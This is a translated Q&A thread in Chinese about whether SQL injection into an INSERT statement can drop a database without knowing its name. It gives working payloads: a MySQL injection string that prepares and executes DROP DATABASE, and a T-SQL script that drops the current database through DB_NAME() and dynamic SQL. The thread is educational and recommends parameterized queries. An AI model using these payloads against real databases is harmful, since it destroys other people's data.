在sql注入中使用嵌套sql子查询

c3frrgcw  于 2021-06-20  发布在  Mysql
关注(0)|答案(3)|浏览(792)

这个问题突然出现在我的脑海里,我在任何地方都找不到,所以我想这是最好的提问地点。这只是为了教育目的。我使用适当的卫生设施,并没有为我的真实数据库提供删除权限。
假设一个拥有所有权限的数据库和一个具有三个值的简单insert查询

INSERT INTO test(a,b,c) VALUES('$a','$b','$c');

上述查询易受sql注入攻击。
假设用户输入为
a',(select database()),'a')--
开始2
开始3
结果查询如下:

INSERT INTO test(a,b,c) VALUES('a',(select DATABASE()),'a')-- ','begone2','begone3')

上面的查询将执行并将数据库名称插入表中,但我的问题是,攻击者是否能够在不知道数据库名称的情况下删除数据库?这样的查询:

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

我尝试运行上面的查询,但它抛出了一个错误。这个查询有什么问题?

vlju58qv

vlju58qv1#

这个查询有什么问题?

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

这个查询有两个问题。
不能将drop数据库放入子查询。子查询必须是select语句并具有结果集(在您显示的示例中,它必须是一列一行的结果集)。
无论如何,也不允许在子查询中使用insert/update/delete。
drop database不接受子查询的结果作为其参数。语法drop database接受数据库标识符(名称),不能删除数据库“”。子查询的结果总是数据值(如字符串和数字),而不是标识符。
与此查询比较:

SELECT a, b, c, (SELECT x FROM table2)
FROM table1

子查询返回列的值 x . 如果 x 是字符串值“d”,这不会导致外部查询返回标识为的列的值 table1.d . 它返回一个文本字符串“d”。
一般来说,sql不允许您使用数据值作为标识符。在分析查询之前,必须在查询中显式写入数据库名、表名和列名。要使标识符动态化,必须运行两个查询,即在创建第二个sql语句时使用第一个查询的结果。

8ehkhllq

8ehkhllq2#

攻击者是否能够在不知道数据库名称的情况下删除数据库?
对。假设使用mysql,请参见以下php代码:

$a = "','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ";
$b = null;
$c = null;
$sql = "INSERT INTO test(a, b, c) VALUES('$a','$b','$c');";
echo $sql;

它将创建以下mysql语句:

INSERT INTO test(a, b, c) VALUES('','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ','','');

尝试执行上述sql将删除当前数据库。

envsm3lx

envsm3lx3#

我的问题是,攻击者是否能够在不知道数据库名称的情况下删除数据库?
答案是肯定的,这就是为什么我们应该使用参数而不是包含字符串,并尽可能避免使用动态sql。
恶意用户可以使用db\u name()函数获取数据库名称,如下所示:

SELECT DB_NAME();

下面是一个在不知道她名字的情况下删除数据库的示例:

DECLARE @SQL NVARCHAR(MAX);

SET @SQL = (SELECT N'USE master; 
ALTER DATABASE '+ DB_NAME() +' SET OFFLINE WITH ROLLBACK IMMEDIATE;
DROP DATABASE ' + DB_NAME() + ';');

EXECUTE sp_executesql @SQL;

相关问题